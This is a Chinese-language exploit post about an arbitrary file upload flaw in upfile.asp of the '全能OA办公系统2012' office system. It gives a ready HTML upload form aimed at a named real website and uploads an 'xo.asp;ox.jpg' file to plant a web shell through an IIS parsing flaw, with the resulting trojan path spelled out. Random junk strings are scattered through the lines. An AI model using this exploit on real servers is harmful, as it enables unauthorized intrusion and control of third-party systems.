全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
​
8 [: w3 \( Z- q系统介绍：

. N) ]+ z, ~$ J8 G9 g, Z+ |/ t6 V全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。
/ X2 L9 ^& ^% p& A2 K: p
8 n  A; A8 f# W) U1 Q, m主要功能：
4 z7 B* R6 X6 U- x0 t# H公司通告
' L% O' `6 x6 U6 E& H工作计划
+ B0 j. |/ L" E1 F. t' G通讯助理
2 L+ j+ w8 j- ]5 s5 Y' z* Q客户资源
( |9 Z7 `6 G1 x! a. f+ l我的公文
8 s& U2 d3 l4 G, ]$ C+ X公文传阅
公共资源
资源预约
今日考勤
" G3 k" ~) Y$ v2 \8 _个人计划
个人通讯录
个人基本档案
未读邮件
! N9 Q) O9 W) P7 v! }& K' d* S# A/ d发邮件
& k# Z+ f) b' `, {+ {0 d9 O9 L收件夹
' I6 A6 @7 O$ M* i8 ]寄件夹
网络硬盘
网络会议
' M. W' z9 z8 ~/ X+ I网络调查
交流论坛

: d, W: }, O# X- Q$ {有兴趣测试的朋友可以下源码看看
* B# W% L5 }3 _1 G, C
源码下载：

http://www.mycodes.net/30/4750.htm

% U/ v  d) B+ N& B漏洞介绍：
& o) O* e$ M/ p' B) ^* I8 Y7 M3 `
由upfile.asp上传文件漏洞引起

测试方法：
: ?" v' D9 Z; U6 a- P
使用名小子上传http://www.itlynn.com/upfile.asp即可

6 W/ p- b5 n  [如果upfile.asp文件被删除不存在。

  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。
$ ~2 l- j; }1 c. r/ s6 q- f6 E8 r5 C
如果存在那么将如下代码保存为upfile.html。
( @8 U8 j) N: Y' z2 f, n
然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。



% R6 }* _- e! z. }: D) q" k01 <table border='0' align="center" cellpadding="5">
& N% X& c; y: T7 }, }
02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">
, J& u2 w& q4 v( x
03 <tr>

04             <td>报错：</td>

05             <td><input type='radio' name='errnumber' value='0'>
% b8 T, V/ e0 Z) I6 K9 F% Y( n
- h' [) m# l5 @6 e7 [, {06               自动更名

0 v: ^8 f" }1 K" \# F07               <input type='radio' name='errnumber' value='1' checked>
' i6 Z# Q8 y% k* A
/ W/ |/ }2 [1 @* i# q2 \7 J08               报错方式
0 w5 c! e% d/ c0 N0 L
- \8 f% f- Z' d4 `- f. K3 e- g09               <input type='radio' name='errnumber' value='2'>
, |! Z" @) X5 z+ @% Y
10               直接覆盖</td>

11           </tr>
9 K, l8 o5 A+ T# t( J$ a
9 P& r8 N. s7 \8 p/ x12           <tr>
  i1 I+ A6 q7 s: S; O- q
13             <td>主题：</td>

% p; M) a' r4 T, R% G, G14             <td><input type='text' name='filename' size='30'></td>
$ s. I1 b2 E9 s4 f
15           </tr>
0 v: ?# A, b5 L' j( S0 G! c
16           <tr>

17             <td>文件：</td>
) ~9 z' e/ r0 k, x& _
! \/ \, V; u9 z, T5 b! |% t- h18             <td><input type="file"name="fruit"size="30"></td>
4 H( `, T, n2 @9 h
$ M" T2 h  z) a$ Q' i19           </tr>

* |& E: e5 I$ N/ @4 k5 @1 o- _20           <tr>
$ _, K. ?8 L% ]% K  ^
21             <td valign='top'>简介：</td>
3 Q: X" X" }7 c
22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>
( I, i0 I/ B. l4 _& S# o; G2 W1 Q4 b
23           </tr>

6 z7 O  M! H' k24   
7 `! e& {0 l6 c+ J! B
25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>

26           </tr>
0 u3 ?  K( c3 V* p7 |* l
27         </form>
4 e& ?8 j1 n' l6 b
* C5 f9 a2 ]/ a' b然后打开上传一个文件名为xo.asp;ox.jpg的文件。


5 u+ B+ {. p1 T$ t' |9 b2 ]1 H4 E
5 }6 l8 q+ f3 m; o; v* p& d& @上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg

+ R" B" M3 X5 h/ b( W5 N此漏洞需要配合解析漏洞利用。